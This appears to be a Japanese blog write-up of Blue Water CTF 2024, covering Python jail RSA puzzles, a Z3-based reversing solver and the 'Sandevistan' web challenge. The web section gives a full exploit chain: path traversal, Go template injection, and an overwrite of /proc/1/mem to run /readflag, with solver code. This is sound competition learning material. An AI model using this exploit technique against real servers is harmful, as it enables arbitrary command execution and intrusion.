💦

Blue Water CTF 2024 write up

2024/10/14に公開

今週はBlue Water CTFに参加しまして、23/83位でした。(あまり順位が伸びて無いように見えてWelcomeが無いから0点が多かった)

どの問題も激ムズでした。しっかり復習していきます!

いつものようにWebだけだと物足りないので、解いた問題全部書きます

✅ [Misc] RSAjail-3 (165pts 63/83 クリア率76%)

RSAを解くコードを書きなさい、という問題。ただし、以下の条件がある。

  • 一行3文字以下
  • string.printable内の文字
  • \は禁止

これを満たしながら次と同等のコードを書かなければならない。

q = N // p
phi = (p - 1) * (q - 1)
d = pow(0x10001, -1, phi)
m = pow(c, d, N)
X(m)

pythonは、カッコ内であれば改行を許すことが多いので、例えば、

x=(
3+5
)

のように代入できる。

あとは、がんばるだけ。

solver.py
from pwn import *

REMOTE = False

io = remote("rsajail3.chal.perfect.blue",1337) if REMOTE else process("./chall.py") 
if REMOTE:
    print(io.recvuntil("===================\n"))
    io.sendline(input())
io.recvuntil(b">>> ")
code = [
    "W=(", # W = pow
    "pow",
    ")",
    
    "e=(", # e = 0x10001
    "512",
    ")*8",
    "e=(",
    "e*8",
    ")*2",
    "e=(",
    "e+1",
    ")",
    
    "q=(", # q = N // p
    "N//",
    "p)",
    
    "h=(", # h = (p - 1) * (q - 1)
    "(p",
    "-1",
    ")*",
    "(q",
    "-1",
    "))",
    
    "d=(", # d = pow(e, -1, h)
    "W(",
    "e,",
    "-1,",
    "h))",
    
    "m=(",# m = pow(c, d, N)
    "W(",
    "c,",
    "d,",
    "N))",
    
    "X(",
    "m)",
]

for c in code:
    io.sendline(c.encode())

io.sendline()
io.interactive()

✅ [Misc] RSAjail-2 (255pts 20/83 クリア率24%)

RSAjail-3とほぼ同じだが、一行に2文字までしか使用できない

x=(と始められない関係上、代入を工夫する必要がある。

(x
=
1)

のようなコードはエラーになってしまうが、

(x
:=
1)

のようにセイウチ演算子を使うと代入できる。(何故?)

また、powが3文字なので、d = pow(e, -1, phi)m = pow(c, d, N)を計算するのが難しい。
d = pow(e, -1, phi)に関しては、拡張ユークリッドの互助法を使用する必要がある。ただし、これもループやif文が使えないので、実装を工夫する必要がある。

大体次のようなコードを実装したい

j=h
d = 1
B = 0
C = 0
D = 1

while h != 0:
    q = e // h
    e, h = h, e % h
    d, B = B, d - q * B
    C, D = D, C - q * C

d = d % j

ループを排除して、十分に式を繰り返せばいいが、それだと0除算が発生してしまう。pythonでは、False==0かつTrue==1であることを利用すると、[X,Y][h==0]は、h==0のときはXに、h==1のときはYになることを利用して、条件式のようなものを評価できる。

j=h
d = 1
B = 0
C = 0
D = 1

for _ in range(100):
    i=h==0
    q = e // [h,1][i]
    tmp = h
    h = e % [h,1][i]
    e = tmp
    tmp = B
    B = d - q * B
    d = [tmp,d][i]
    tmp = D
    D = C - q * C
    C = tmp

また、このようにA, B = B, A+Bのようなコードが多発する場合、二回分のループをまとめると計算式が簡単になることが多いので、まとめてコードを短縮した結果が次である。(正直やらなくてもよかった)

j=h
e=e%h
C=-e//h
B=-(h//e)
h=h%e
d=1
D=1+B*C

for _ in range(100):
    i=h==0
    b=e//[h,1][i]
    e=e%[h,1][i]
    E=d-b*B
    F=[B,d][i]
    C=C-b*D
    
    g=e==0
    a=h//[e,1][g]
    h=h%[e,1][g]
    B=F-a*E
    d=[E,F][g]
    D=D-a*C
    
    
d = d % j

次に、m = pow(c, d, N)だが、愚直にm = c ** d % Nとかやってしまうと計算が終わらなくなってしまう。そこで、pow(c, d) = c ** (d % 10) ** 10 * pow(c,d//10)であることを利用する。この展開をさらにpow(c,d//10)に行うことによって、べき数を下げていくことができる。

solver.py
from pwn import *
from subprocess import Popen,PIPE
REMOTE = False

io = remote("rsajail2.chal.perfect.blue",1337) if REMOTE else process("./chall.py") 
if REMOTE:
    for _ in range(3):
        io.recvline()
    command = io.recvline().decode().strip()
    pw = Popen(["bash", "-c", command], stdout=PIPE).stdout.read()
    io.recvline()
    io.sendline(pw.splitlines()[-1])

io.recvuntil(b">>> ")
code = [
    
    "(e", # e = 0x10001
    ":=",
    "64",
    ")",
    "(e",
    ":=",
    "e*",
    "64",
    ")",
    "(e",
    ":=",
    "e*",
    "16",
    ")",
    "(e",
    ":=",
    "e+",
    "1)",
    
    "(q", # q = N // p
    ":=",
    "N",
    "//",
    "p)",
    
    "(h", # h = (p - 1) * (q - 1)
    ":=",
    "(p",
    "-1",
    ")*",
    "(q",
    "-1",
    "))",
    
    "(j", # j=h
    ":=",
    "h)",
        
    "(e", # e=e%h
    ":=",
    "e%",
    "h)",
    
    "(C", # C=-e//h
    ":=",
    "-e",
    "//",
    "h)",
    
    "(B", # B=-(h//e)
    ":=",
    "-",
    "(h",
    "//",
    "e)",
    ")",
    
    "(h", # h=h%e
    ":=",
    "h%",
    "e)",
    
    "(d", # d=1
    ":=",
    "1)",
    
    "(D", # D=1+B*C
    ":=",
    "1+",
    "B*",
    "C)",
]

for i in range(8):
    code += [
        "(i", # i = h == 0 
        ":=",
        "h",
        "==",
        "0)",
        
        "(b", # b=e//[h,1][i]
        ":=",
        "e",
        "//",
        "[h",
        ",1",
        "][",
        "i]",
        ")",
        
        "(e", # e=e%[h,1][i]
        ":=",
        "e%",
        "[h",
        ",1",
        "][",
        "i]",
        ")",
        
        "(E", # E=d-b*B
        ":=",
        "d-",
        "b*",
        "B)",
        
        "(F", # F=[B,d][i]
        ":=",
        "[B",
        ",d",
        "][",
        "i]",
        ")",
        
        "(C", # C=C-b*D
        ":=",
        "C-",
        "b*",
        "D)",
        
        "(g", # g = e == 0 
        ":=",
        "e",
        "==",
        "0)",
        
        "(a", # a=h//[e,1][g]
        ":=",
        "h",
        "//",
        "[e",
        ",1",
        "][",
        "g]",
        ")",
        
        "(h", # h=h%[e,1][g]
        ":=",
        "h%",
        "[e",
        ",1",
        "][",
        "g]",
        ")",
        
        "(B", # B=F-a*E
        ":=",
        "F-",
        "a*",
        "E)",
        
        "(d", # d=[E,F][g]
        ":=",
        "[E",
        ",F",
        "][",
        "g]",
        ")",
        
        "(D", # D=D-a*C
        ":=",
        "D-",
        "a*",
        "C)",
    ]

code +=[
    "(d", # d = d % j
    ":=",
    "d%",
    "j)",
    
    "(c", # c = c % N
    ":=",
    "c%",
    "N)",
    
    "(m", # m = c**(d%10) % N
    ":=",
    "c",
    "**",
    "(d",
    "%",
    "10",
    ")%",
    "N)",
]

for i in range(690):
    code += [
        "(d", # d = d // 10
        ":=",
        "d",
        "//",
        "10",
        ")",
        
        "(A", # A = (A**10) % N
        ":=",
        "(c" if i == 0 else "(A",
        "**",
        "10",
        ")%",
        "N)",
        
        
        "(m", # m = m * A**(d%10) % N
        ":=",
        "m*",
        "A",
        "**",
        "(d",
        "%",
        "10",
        ")%",
        "N)",
    ]


code += [
    "(A", # A = (A**10) % N
    ":=",
    "(A",
    "**",
    "10",
    ")%",
    "N)",
    
    "(m", # m = (m * (A**(d//10))) % N
    ":=",
    "(m",
    "*(",
    "A",
    "**",
    "(d",
    "//",
    "10",
    "))",
    ")%",
    "N)",
    
    "X(",
    "m)",
]

for c in code:
    io.sendline(c.encode())

io.sendline()
res = io.recvline().decode()
print(res)

✅ [Rev] maybe Checker (175pts 53/83 クリア率64%)

実行ファイルが与えられる。文字列を入力すると、フラグかどうかチェックしてくれる。

$ ./maybe_checker
Enter the flag: foobar
Wrong flag

Ghidraでデコンパイルした結果が以下の通り。

byte FUN_00401180(void)

{
  byte result;
  int rand_num;
  time_t tVar1;
  char *__s;
  char input [112];
  
  tVar1 = time((time_t *)0x0);
  srand((uint)tVar1);
  printf("Enter the flag: ");
  __isoc99_scanf(&DAT_00402015,input);
  rand_num = rand();
  result = (**(code **)(&DAT_00402041 + ((ulong)(long)rand_num % 0x3c) * 9))
                     (input + (byte)(&DAT_00402040)[((ulong)(long)rand_num % 0x3c) * 9]);
  __s = "Wrong flag";
  if (result != 0) {
    __s = "MAYBE correct flag";
  }
  puts(__s);
  return result ^ 1;
}

0~0x3cのランダムな値を計算し、&DAT_00402041 + (rand_num % 0x3c) *9の位置のコードを実行している。また、&DAT_00402040 + (rand_num % 0x3c) *9の位置にはinputに対するオフセットが記載されている。

それぞれの位置のコードを読むと、さまざまな条件が記載されている。これらの条件を全て満たすような入力を求めれば良い。

一つ一つ条件をコードに落とすのは面倒なので、バイナリを正規表現で解析して、それらをZ3に出力した。

solver.py
import struct
import re
from z3 import *


base_offset = 0x400000
dat_offset = 0x402040 - base_offset


with open("./maybe_checker", "rb") as f:
    f.seek(dat_offset)
    
    addresses = []
    for _ in range(60):
        entry = f.read(1)
        idx = int(entry[0])
        entry = f.read(8)
        addr = struct.unpack("<I", entry[:4])[0]
        
        addresses.append((addr, idx))
    
ans = [BitVec(f'ans_{i}', 8) for i in range(0x30)] 
solver = Solver()
# 0x00401210
for i in range(6):
    solver.add(ans[i] == b"bwctf{"[i])
solver.add(ans[0x2f] == ord("}"))

# 0x00401240
for x in [3,9,0xf,0x15,0x1b,0x21]:
    solver.add(ans[x+8] == ord("-"))

with open("./maybe_checker", "rb") as f:
    for i, (addr, idx) in enumerate(addresses):
        if i < 2:
            continue
        f.seek(addr - base_offset)
        buf = [f.read(1)[0]]
        while buf[-1] != 0xc3:
            buf.append(f.read(1)[0])
        b = bytes(buf)
        

        if r := re.findall(b"\x8a\x07\x3a\x47(.)\x0f\x94\xc0", b,flags=re.MULTILINE|re.DOTALL):
            solver.add(ans[idx] == ans[idx + r[0][0]])
        elif r := re.findall(b"\x8a\x47(.)\x3a\x47(.)\x0f\x9c\xc0", b,flags=re.MULTILINE|re.DOTALL):
            solver.add(ans[idx + r[0][0][0]] < ans[idx + r[0][1][0]])
        elif r := re.findall(b"\x8a\x47(.)\x3a\x47(.)\x0f\x9f\xc0", b,flags=re.MULTILINE|re.DOTALL):
            solver.add(ans[idx + r[0][0][0]] > ans[idx + r[0][1][0]])
        elif r := re.findall(b"\x8a\x47(.)\x3a\x47(.)\x0f\x94\xc0", b,flags=re.MULTILINE|re.DOTALL):
            solver.add(ans[idx + r[0][0][0]] == ans[idx + r[0][1][0]])
        elif r := re.findall(b"\x8a\x47(.)\x32\x47(.)\x3c(.)\x0f\x94\xc0", b,flags=re.MULTILINE|re.DOTALL):
            solver.add(ans[idx + r[0][0][0]] ^ ans[idx + r[0][1][0]] == r[0][2][0])
        elif r := re.findall(b'\x0f\xbeG(.)\x0f\xbeO(.)\x01\xc1\x83\xf9(.)\x0f\x94\xc0', b,flags=re.MULTILINE|re.DOTALL):
            solver.add(ans[idx + r[0][0][0]] + ans[idx + r[0][1][0]] == r[0][2][0])
        elif r := re.findall(b'\x0f\xbeG(.)\x0f\xbeO(.)\x01\xc1\x81\xf9(.{4})\x0f\x94\xc0', b,flags=re.MULTILINE|re.DOTALL):
            solver.add(ans[idx + r[0][0][0]] + ans[idx + r[0][1][0]] == struct.unpack("<I", r[0][2])[0])
        elif r := re.findall(b'\x0f\xbeG(.)\x0f\xbeO(.)\x0f\xaf\xc8\x81\xf9(.{4})\x0f\x94\xc0', b,flags=re.MULTILINE|re.DOTALL):
            solver.add(ans[idx + r[0][0][0]] * ans[idx + r[0][1][0]] == struct.unpack("<I", r[0][2])[0])
        elif r := re.findall(b'\x0f\xbe\x07\x0f\xbeO(.)\x0f\xaf\xc8\x81\xf9(.{4})\x0f\x94\xc0', b,flags=re.MULTILINE|re.DOTALL):
            solver.add(ans[idx] * ans[idx + r[0][0][0]] == struct.unpack("<I", r[0][1])[0])
        else:
            print(i, addr, b)
            break
for i in range(0x30):
    solver.add(ans[i] < 127)
solutions = []
while solver.check() == sat:
    model = solver.model()
    solution = [model.eval(ans[i], model_completion=True).as_long() for i in range(0x30)]
    solutions.append(solution)
    
    block = []
    for i in range(0x30):
        block.append(ans[i] != solution[i])
    solver.add(Or(block))
    
    print(bytes(solution))

if not solutions:
    print("no ans")

実行結果

b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0\x003-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0\x103-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0P3-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0\xd03-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0\xf03-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0\xe03-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0@3-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0\xc03-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0\x803-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0 3-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH003-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0\xb03-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0\x903-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0\xa03-Y0UH4-VEFUN}'

Leet的に自然なbwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0P3-Y0UH4-VEFUN}が解だった。

✅ [Web] Sandevistan (212pts 32/83 クリア率39%)

ユーザーの登録と、ユーザーのcyberwareの登録、cyberwareの確認が行える。

/cyberwareのPOSTを行うと、cyberwareが登録できるが、このときに入力が不正だとエラー文がファイルに書き込みされるようになっている。ファイルはerrorlog/<ユーザー名>になっている。

server/cyberware.go
func checkForm(r *http.Request) *models.UserError {
    /* snap */
	ue = utils.AlphaNumCheck(ctx, cwName[0])
	return ue
}

func (s *Server) cwHandlePost(w http.ResponseWriter, r *http.Request){
	err := r.ParseForm()
	if err != nil {
		http.Error(w, err.Error(), http.StatusBadRequest)
		return
	}
	ue := checkForm(r)
    /* snap */
}
utils/utils.go

func AlphaNumCheck(ctx context.Context, t string) *models.UserError {
	if !regexp.MustCompile(`^[a-zA-Z0-9]*$`).MatchString(t) {
		v := fmt.Sprintf("ERROR! Invalid Value: %s\n", t)
		username := ctx.Value("username")
		regexErr := ErrorFactory(ctx, v, username.(string))
		return regexErr
	}
	return nil
}

func ErrorFactory(ctx context.Context, v string, f string) *models.UserError {
	filename := "errorlog/" + f
	UErr := &models.UserError{
		v,
		f,
		ctx,
	}
	file, _ := os.OpenFile(filename, os.O_RDWR|os.O_CREATE, 0644)
	defer file.Close()

	file.WriteString(v)
	return UErr
}

このとき、ユーザー名に../を含めることで、ディレクトリトラバーサルが可能である。さらに、ファイルが既に存在する場合、上書きするという形式である。

/cyberwareにGETリクエストを送ると、tmpl/user.htmlというファイルが、template.ParseFilesというメソッドでパースされる。このファイルを書き換えることによってSSTIが可能そうだ。

server/user.go
func (s *Server) handleUserGet(w http.ResponseWriter, r *http.Request) {
	u, err := s.GetUser(r.FormValue("username"))
	if err != nil {
		http.Error(w, "Username not found", http.StatusNotFound)
		return
	}

	if u.Name == "NOUSER" {
		http.Redirect(w, r, "/", http.StatusFound)
	}
	utils.RenderTemplate(w, "/tmpl/user", u)
}
utils/utils.go
func RenderTemplate[S any](w http.ResponseWriter, tmpl string, s S) {
	m := validPath.FindStringSubmatch(tmpl)
    if m == nil {
		fmt.Println("string match error")
		renderError(w)
		return
    }
	htmlTmpl := m[0] + ".html"
	fpath := filepath.Join(GetCwd(), htmlTmpl)
	t, err := template.ParseFiles(fpath)
	if err != nil {
		fmt.Println(err)
		renderError(w)
		return
	}
    t.Execute(w, s)
}

解説記事にある通り、RenderTemplateの第三引数のuserのメソッドであればテンプレート内で呼び出しができるようだ。

Userのメソッドには何があるだろうか。

models/user.go
func (u *User) SerializeErrors(data string, index int, offset int64) error {
 	fname := u.Errors[index]

	if fname == nil {
		return errors.New("Error not found")
	}
 
	f, err := os.OpenFile(fname.Filename, os.O_RDWR, 0)
	if err != nil {
		return errors.New("File not found")
	}
	defer f.Close()

	_, ferr := f.WriteAt([]byte(data), offset)
	if ferr != nil {
		fmt.Println(ferr)
		return errors.New("File error writing")
	}

	return nil
}

func (u *User) UserHealthcheck() ([]byte, error) {
	cmd := exec.Command("/bin/true")	
	output, err := cmd.CombinedOutput()
    if err != nil {
		return nil, errors.New("error in healthcheck")
        panic(err)
    }
	return output, nil
}

SerializeErrorsは、任意のファイルを、指定の位置から書き込むことができる関数である。UserHealthcheck/bin/trueを実行している。

SerializeErrorsを利用して、/proc/self/mem"/bin/true"の文字列を"/readflag"に書き換えることによってUserHealthcheck/readflagを実行するようにしたい。

次のコードで、/bin/trueの位置を取得する。

search
import os
import re

maps = open("/proc/1/maps")
mem = open("/proc/1/mem", 'rb')

for l in maps.readlines():
    try:
        spl = l.split(" ")
        start, end = [int(x, 16) for x in spl[0].split("-")]
        v = os.pread(mem.fileno(), end-start, start)
        mch = re.finditer(b"/bin/true", v)
        arr = [m.start()+start for m in mch]
        if len(arr) > 0:
            print(arr)
    except:
        pass

メモリの位置が0x93b6bbで固定であることがわかったので、次のコードでフラグがゲットできた。

solver.py
import requests
# URL = "http://sandevistan.chal.perfect.blue:29005/"
URL = "http://localhost:1338/"

username = "user"

s = requests.session()
r = s.post(URL + "user", data={
    "username": username
})

r = s.post(URL + "cyberware", data={
    "username": "../tmpl/user.html",
    "name": '{{ .NewError "foo" "/proc/1/mem"  }} {{ .SerializeErrors "/readflag" 0 %d }} {{ .UserHealthcheck }}' % 0x93b6bb
})
r = s.get(URL + "user", params={
    "username": username
})
print(r.text)

解けなかった問題

  • Geo Weapon - geoserverというOSSの地理情報の共有や編集を行うサーバーで、任意ファイルの読み込みをしろ、という問題。出題ミスでadminのパスワードがランダム化されてなかったらしい。Geo Weapon Revengeという修正された問題が出題されたが、こちらは任意コード実行に変わっていたので、出題ミスが差分でわからないようになっていた。ひたすらjavaのコードを読んでいたが、結局コードを実行できそうな場所さえ見つからず...
  • bluesocial - XSSの問題。どうにかしてDOMPurifyがエラーを吐くようにすれば良さそう。同じような問題にSECCON 2022 Finals - light-noteを思い出したが、これからDOMPurifyはDOM Clobbering対策されてるようでうまく行かず...
  • bluenote - 多分XS-Leaksの問題。怪しいと思うところが一箇所も見当たらない...
  • RSAjail-1 - RSAjail-2から、さらに一行あたりの最大文字数を1にした問題。変数宣言は多分無理なので、変数を展開するようにしていけばある程度できそうだが、//が使えないのがどうしよう、という感じだった。
    • 書いていて、//は掛け算と剰余で再現できたな...と気づいた。

Discussion